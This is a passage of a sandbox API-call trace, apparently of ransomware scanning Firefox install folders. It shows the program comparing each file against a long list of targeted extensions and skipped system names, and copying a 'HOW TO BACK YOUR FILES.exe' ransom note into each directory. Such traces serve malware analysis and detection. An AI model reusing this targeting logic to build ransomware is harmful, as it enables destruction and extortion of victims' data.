	[0052.710] lstrlenW (lpString="sbf") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="sbf") returned -1
	[0052.710] lstrlenW (lpString="scx") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="scx") returned -1
	[0052.710] lstrlenW (lpString="sdb") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="sdb") returned -1
	[0052.710] lstrlenW (lpString="sdc") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="sdc") returned -1
	[0052.710] lstrlenW (lpString="sdf") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="sdf") returned -1
	[0052.710] lstrlenW (lpString="sis") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="sis") returned -1
	[0052.710] lstrlenW (lpString="spq") returned 3
	[0052.710] lstrcmpiW (lpString1="les", lpString2="spq") returned -1
	[0052.710] lstrlenW (lpString="te") returned 2
	[0052.710] lstrcmpiW (lpString1="es", lpString2="te") returned -1
	[0052.711] lstrlenW (lpString="teacher") returned 7
	[0052.711] lstrcmpiW (lpString1="d-files", lpString2="teacher") returned -1
	[0052.711] lstrlenW (lpString="tmd") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="tmd") returned -1
	[0052.711] lstrlenW (lpString="tps") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="tps") returned -1
	[0052.711] lstrlenW (lpString="trc") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="trc") returned -1
	[0052.711] lstrlenW (lpString="trc") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="trc") returned -1
	[0052.711] lstrlenW (lpString="trm") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="trm") returned -1
	[0052.711] lstrlenW (lpString="udb") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="udb") returned -1
	[0052.711] lstrlenW (lpString="udl") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="udl") returned -1
	[0052.711] lstrlenW (lpString="usr") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="usr") returned -1
	[0052.711] lstrlenW (lpString="v12") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="v12") returned -1
	[0052.711] lstrlenW (lpString="vis") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="vis") returned -1
	[0052.711] lstrlenW (lpString="vpd") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="vpd") returned -1
	[0052.711] lstrlenW (lpString="vvv") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="vvv") returned -1
	[0052.711] lstrlenW (lpString="wdb") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="wdb") returned -1
	[0052.711] lstrlenW (lpString="wmdb") returned 4
	[0052.711] lstrcmpiW (lpString1="iles", lpString2="wmdb") returned -1
	[0052.711] lstrlenW (lpString="wrk") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="wrk") returned -1
	[0052.711] lstrlenW (lpString="xdb") returned 3
	[0052.711] lstrcmpiW (lpString1="les", lpString2="xdb") returned -1
	[0052.711] lstrlenW (lpString="xld") returned 3
	[0052.712] lstrcmpiW (lpString1="les", lpString2="xld") returned -1
	[0052.712] lstrlenW (lpString="xmlff") returned 5
	[0052.712] lstrcmpiW (lpString1="files", lpString2="xmlff") returned -1
	[0052.712] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="Apollon865.txt.exe") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2=".") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="..") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="windows") returned -1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="bootmgr") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="temp") returned -1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="pagefile.sys") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="boot") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="ids.txt") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="ntuser.dat") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="perflogs") returned 1
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2="MSBuild") returned 1
	[0052.712] lstrlenW (lpString="softokn3.chk") returned 12
	[0052.712] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52
	[0052.712] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="softokn3.chk" | out: lpString1="softokn3.chk") returned="softokn3.chk"
	[0052.712] lstrlenW (lpString="softokn3.chk") returned 12
	[0052.712] lstrlenW (lpString="Apollon865") returned 10
	[0052.712] lstrcmpiW (lpString1="ftokn3.chk", lpString2="Apollon865") returned 1
	[0052.712] lstrlenW (lpString=".dll") returned 4
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2=".dll") returned 1
	[0052.712] lstrlenW (lpString=".lnk") returned 4
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2=".lnk") returned 1
	[0052.712] lstrlenW (lpString=".ini") returned 4
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2=".ini") returned 1
	[0052.712] lstrlenW (lpString=".sys") returned 4
	[0052.712] lstrcmpiW (lpString1="softokn3.chk", lpString2=".sys") returned 1
	[0052.712] lstrlenW (lpString="softokn3.chk") returned 12
	[0052.712] lstrlenW (lpString="bak") returned 3
	[0052.712] lstrcmpiW (lpString1="chk", lpString2="bak") returned 1
	[0052.712] lstrlenW (lpString="ba_") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="ba_") returned 1
	[0052.713] lstrlenW (lpString="dbb") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="dbb") returned -1
	[0052.713] lstrlenW (lpString="vmdk") returned 4
	[0052.713] lstrcmpiW (lpString1=".chk", lpString2="vmdk") returned -1
	[0052.713] lstrlenW (lpString="rar") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="rar") returned -1
	[0052.713] lstrlenW (lpString="zip") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="zip") returned -1
	[0052.713] lstrlenW (lpString="tgz") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="tgz") returned -1
	[0052.713] lstrlenW (lpString="vbox") returned 4
	[0052.713] lstrcmpiW (lpString1=".chk", lpString2="vbox") returned -1
	[0052.713] lstrlenW (lpString="vdi") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="vdi") returned -1
	[0052.713] lstrlenW (lpString="vhd") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="vhd") returned -1
	[0052.713] lstrlenW (lpString="vhdx") returned 4
	[0052.713] lstrcmpiW (lpString1=".chk", lpString2="vhdx") returned -1
	[0052.713] lstrlenW (lpString="avhd") returned 4
	[0052.713] lstrcmpiW (lpString1=".chk", lpString2="avhd") returned -1
	[0052.713] lstrlenW (lpString="db") returned 2
	[0052.713] lstrcmpiW (lpString1="hk", lpString2="db") returned 1
	[0052.713] lstrlenW (lpString="db2") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="db2") returned -1
	[0052.713] lstrlenW (lpString="db3") returned 3
	[0052.713] lstrcmpiW (lpString1="chk", lpString2="db3") returned -1
	[0052.714] lstrlenW (lpString="dbf") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="dbf") returned -1
	[0052.714] lstrlenW (lpString="mdf") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="mdf") returned -1
	[0052.714] lstrlenW (lpString="mdb") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="mdb") returned -1
	[0052.714] lstrlenW (lpString="sql") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="sql") returned -1
	[0052.714] lstrlenW (lpString="sqlite") returned 6
	[0052.714] lstrcmpiW (lpString1="n3.chk", lpString2="sqlite") returned -1
	[0052.714] lstrlenW (lpString="sqlite3") returned 7
	[0052.714] lstrcmpiW (lpString1="kn3.chk", lpString2="sqlite3") returned -1
	[0052.714] lstrlenW (lpString="sqlitedb") returned 8
	[0052.714] lstrcmpiW (lpString1="okn3.chk", lpString2="sqlitedb") returned -1
	[0052.714] lstrlenW (lpString="xml") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="xml") returned -1
	[0052.714] lstrlenW (lpString="$er") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="$er") returned 1
	[0052.714] lstrlenW (lpString="4dd") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="4dd") returned 1
	[0052.714] lstrlenW (lpString="4dl") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="4dl") returned 1
	[0052.714] lstrlenW (lpString="^^^") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="^^^") returned 1
	[0052.714] lstrlenW (lpString="abs") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="abs") returned 1
	[0052.714] lstrlenW (lpString="abx") returned 3
	[0052.714] lstrcmpiW (lpString1="chk", lpString2="abx") returned 1
	[0052.714] lstrlenW (lpString="accdb") returned 5
	[0052.714] lstrcmpiW (lpString1="3.chk", lpString2="accdb") returned -1
	[0052.714] lstrlenW (lpString="accdc") returned 5
	[0052.714] lstrcmpiW (lpString1="3.chk", lpString2="accdc") returned -1
	[0052.714] lstrlenW (lpString="accde") returned 5
	[0052.714] lstrcmpiW (lpString1="3.chk", lpString2="accde") returned -1
	[0052.714] lstrlenW (lpString="accdr") returned 5
	[0052.715] lstrcmpiW (lpString1="3.chk", lpString2="accdr") returned -1
	[0052.715] lstrlenW (lpString="accdt") returned 5
	[0052.715] lstrcmpiW (lpString1="3.chk", lpString2="accdt") returned -1
	[0052.715] lstrlenW (lpString="accdw") returned 5
	[0052.715] lstrcmpiW (lpString1="3.chk", lpString2="accdw") returned -1
	[0052.715] lstrlenW (lpString="accft") returned 5
	[0052.715] lstrcmpiW (lpString1="3.chk", lpString2="accft") returned -1
	[0052.715] lstrlenW (lpString="adb") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1
	[0052.715] lstrlenW (lpString="adb") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1
	[0052.715] lstrlenW (lpString="ade") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="ade") returned 1
	[0052.715] lstrlenW (lpString="adf") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="adf") returned 1
	[0052.715] lstrlenW (lpString="adn") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="adn") returned 1
	[0052.715] lstrlenW (lpString="adp") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="adp") returned 1
	[0052.715] lstrlenW (lpString="alf") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="alf") returned 1
	[0052.715] lstrlenW (lpString="ask") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="ask") returned 1
	[0052.715] lstrlenW (lpString="btr") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="btr") returned 1
	[0052.715] lstrlenW (lpString="cat") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="cat") returned 1
	[0052.715] lstrlenW (lpString="cdb") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="cdb") returned 1
	[0052.715] lstrlenW (lpString="ckp") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="ckp") returned -1
	[0052.715] lstrlenW (lpString="cma") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="cma") returned -1
	[0052.715] lstrlenW (lpString="cpd") returned 3
	[0052.715] lstrcmpiW (lpString1="chk", lpString2="cpd") returned -1
	[0052.715] lstrlenW (lpString="dacpac") returned 6
	[0052.716] lstrcmpiW (lpString1="n3.chk", lpString2="dacpac") returned 1
	[0052.716] lstrlenW (lpString="dad") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dad") returned -1
	[0052.716] lstrlenW (lpString="dadiagrams") returned 10
	[0052.716] lstrcmpiW (lpString1="ftokn3.chk", lpString2="dadiagrams") returned 1
	[0052.716] lstrlenW (lpString="daschema") returned 8
	[0052.716] lstrcmpiW (lpString1="okn3.chk", lpString2="daschema") returned 1
	[0052.716] lstrlenW (lpString="db-journal") returned 10
	[0052.716] lstrcmpiW (lpString1="ftokn3.chk", lpString2="db-journal") returned 1
	[0052.716] lstrlenW (lpString="db-shm") returned 6
	[0052.716] lstrcmpiW (lpString1="n3.chk", lpString2="db-shm") returned 1
	[0052.716] lstrlenW (lpString="db-wal") returned 6
	[0052.716] lstrcmpiW (lpString1="n3.chk", lpString2="db-wal") returned 1
	[0052.716] lstrlenW (lpString="dbc") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dbc") returned -1
	[0052.716] lstrlenW (lpString="dbs") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dbs") returned -1
	[0052.716] lstrlenW (lpString="dbt") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dbt") returned -1
	[0052.716] lstrlenW (lpString="dbv") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dbv") returned -1
	[0052.716] lstrlenW (lpString="dbx") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dbx") returned -1
	[0052.716] lstrlenW (lpString="dcb") returned 3
	[0052.716] lstrcmpiW (lpString1="chk", lpString2="dcb") returned -1
	[0052.716] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="softokn3.dll" | out: lpString1="softokn3.dll") returned="softokn3.dll"
	[0052.716] lstrlenW (lpString="softokn3.dll") returned 12
	[0052.716] lstrlenW (lpString="Apollon865") returned 10
	[0052.716] lstrcmpiW (lpString1="ftokn3.dll", lpString2="Apollon865") returned 1
	[0052.716] lstrlenW (lpString=".dll") returned 4
	[0052.716] lstrcmpiW (lpString1="softokn3.dll", lpString2=".dll") returned 1
	[0052.716] lstrlenW (lpString=".lnk") returned 4
	[0052.717] lstrcmpiW (lpString1="softokn3.dll", lpString2=".lnk") returned 1
	[0052.717] lstrlenW (lpString=".ini") returned 4
	[0052.717] lstrcmpiW (lpString1="softokn3.dll", lpString2=".ini") returned 1
	[0052.717] lstrlenW (lpString=".sys") returned 4
	[0052.717] lstrcmpiW (lpString1="softokn3.dll", lpString2=".sys") returned 1
	[0052.717] lstrlenW (lpString="softokn3.dll") returned 12
	[0052.717] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="uninstall" | out: lpString1="uninstall") returned="uninstall"
	[0052.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0052.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5994c0
	[0052.717] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0052.717] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="Apollon865.txt.exe") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2=".") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="..") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="windows") returned -1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="bootmgr") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="temp") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="pagefile.sys") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="boot") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="ids.txt") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="ntuser.dat") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="perflogs") returned 1
	[0052.717] lstrcmpiW (lpString1="update-settings.ini", lpString2="MSBuild") returned 1
	[0052.717] lstrlenW (lpString="update-settings.ini") returned 19
	[0052.717] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned 48
	[0052.717] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="update-settings.ini" | out: lpString1="update-settings.ini") returned="update-settings.ini"
	[0052.717] lstrlenW (lpString="update-settings.ini") returned 19
	[0052.717] lstrlenW (lpString="Apollon865") returned 10
	[0052.717] lstrcmpiW (lpString1="ttings.ini", lpString2="Apollon865") returned 1
	[0052.717] lstrlenW (lpString=".dll") returned 4
	[0052.718] lstrcmpiW (lpString1="update-settings.ini", lpString2=".dll") returned 1
	[0052.718] lstrlenW (lpString=".lnk") returned 4
	[0052.718] lstrcmpiW (lpString1="update-settings.ini", lpString2=".lnk") returned 1
	[0052.718] lstrlenW (lpString=".ini") returned 4
	[0052.718] lstrcmpiW (lpString1="update-settings.ini", lpString2=".ini") returned 1
	[0052.718] lstrlenW (lpString=".sys") returned 4
	[0052.718] lstrcmpiW (lpString1="update-settings.ini", lpString2=".sys") returned 1
	[0052.718] lstrlenW (lpString="update-settings.ini") returned 19
	[0052.718] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="updater.exe" | out: lpString1="updater.exe") returned="updater.exe"
	[0052.718] lstrlenW (lpString="updater.exe") returned 11
	[0052.718] lstrlenW (lpString="Apollon865") returned 10
	[0052.718] lstrcmpiW (lpString1="pdater.exe", lpString2="Apollon865") returned 1
	[0052.718] lstrlenW (lpString=".dll") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.exe", lpString2=".dll") returned 1
	[0052.718] lstrlenW (lpString=".lnk") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.exe", lpString2=".lnk") returned 1
	[0052.718] lstrlenW (lpString=".ini") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.exe", lpString2=".ini") returned 1
	[0052.718] lstrlenW (lpString=".sys") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.exe", lpString2=".sys") returned 1
	[0052.718] lstrlenW (lpString="updater.exe") returned 11
	[0052.718] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="updater.ini" | out: lpString1="updater.ini") returned="updater.ini"
	[0052.718] lstrlenW (lpString="updater.ini") returned 11
	[0052.718] lstrlenW (lpString="Apollon865") returned 10
	[0052.718] lstrcmpiW (lpString1="pdater.ini", lpString2="Apollon865") returned 1
	[0052.718] lstrlenW (lpString=".dll") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.ini", lpString2=".dll") returned 1
	[0052.718] lstrlenW (lpString=".lnk") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.ini", lpString2=".lnk") returned 1
	[0052.718] lstrlenW (lpString=".ini") returned 4
	[0052.718] lstrcmpiW (lpString1="updater.ini", lpString2=".ini") returned 1
	[0052.718] lstrlenW (lpString=".sys") returned 4
	[0052.719] lstrcmpiW (lpString1="updater.ini", lpString2=".sys") returned 1
	[0052.719] lstrlenW (lpString="updater.ini") returned 11
	[0052.719] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="webapp-uninstaller.exe" | out: lpString1="webapp-uninstaller.exe") returned="webapp-uninstaller.exe"
	[0052.719] lstrlenW (lpString="webapp-uninstaller.exe") returned 22
	[0052.719] lstrlenW (lpString="Apollon865") returned 10
	[0052.719] lstrcmpiW (lpString1="taller.exe", lpString2="Apollon865") returned 1
	[0052.719] lstrlenW (lpString=".dll") returned 4
	[0052.719] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".dll") returned 1
	[0052.719] lstrlenW (lpString=".lnk") returned 4
	[0052.719] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".lnk") returned 1
	[0052.719] lstrlenW (lpString=".ini") returned 4
	[0052.719] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".ini") returned 1
	[0052.719] lstrlenW (lpString=".sys") returned 4
	[0052.719] lstrcmpiW (lpString1="webapp-uninstaller.exe", lpString2=".sys") returned 1
	[0052.719] lstrlenW (lpString="webapp-uninstaller.exe") returned 22
	[0052.719] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="webapprt" | out: lpString1="webapprt") returned="webapprt"
	[0052.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0052.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5590
	[0052.719] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0052.719] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapprt-stub.exe", cAlternateFileName="WEBAPP~2.EXE")) returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="..") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="windows") returned -1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="bootmgr") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="temp") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="pagefile.sys") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="boot") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="ids.txt") returned 1
	[0052.719] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="ntuser.dat") returned 1
	[0052.720] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="perflogs") returned 1
	[0052.720] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="MSBuild") returned 1
	[0052.720] lstrlenW (lpString="webapprt-stub.exe") returned 17
	[0052.720] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned 47
	[0052.720] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="webapprt-stub.exe" | out: lpString1="webapprt-stub.exe") returned="webapprt-stub.exe"
	[0052.720] lstrlenW (lpString="webapprt-stub.exe") returned 17
	[0052.720] lstrlenW (lpString="Apollon865") returned 10
	[0052.720] lstrcmpiW (lpString1="t-stub.exe", lpString2="Apollon865") returned 1
	[0052.720] lstrlenW (lpString=".dll") returned 4
	[0052.720] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".dll") returned 1
	[0052.720] lstrlenW (lpString=".lnk") returned 4
	[0052.720] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".lnk") returned 1
	[0052.720] lstrlenW (lpString=".ini") returned 4
	[0052.720] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".ini") returned 1
	[0052.720] lstrlenW (lpString=".sys") returned 4
	[0052.720] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".sys") returned 1
	[0052.720] lstrlenW (lpString="webapprt-stub.exe") returned 17
	[0052.720] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="xul.dll" | out: lpString1="xul.dll") returned="xul.dll"
	[0052.720] lstrlenW (lpString="xul.dll") returned 7
	[0052.720] lstrlenW (lpString="Apollon865") returned 10
	[0052.720] lstrlenW (lpString=".dll") returned 4
	[0052.720] lstrcmpiW (lpString1="xul.dll", lpString2=".dll") returned 1
	[0052.720] lstrlenW (lpString=".lnk") returned 4
	[0052.720] lstrcmpiW (lpString1="xul.dll", lpString2=".lnk") returned 1
	[0052.720] lstrlenW (lpString=".ini") returned 4
	[0052.720] lstrcmpiW (lpString1="xul.dll", lpString2=".ini") returned 1
	[0052.720] lstrlenW (lpString=".sys") returned 4
	[0052.720] lstrcmpiW (lpString1="xul.dll", lpString2=".sys") returned 1
	[0052.720] lstrlenW (lpString="xul.dll") returned 7
	[0052.720] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt"
	[0052.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0052.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0052.721] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned 47
	[0052.721] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt"
	[0052.721] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.721] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.725] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x377f3a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x377f3a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.725] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.725] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.725] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.725] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x377f3a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x377f3a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.725] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.725] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
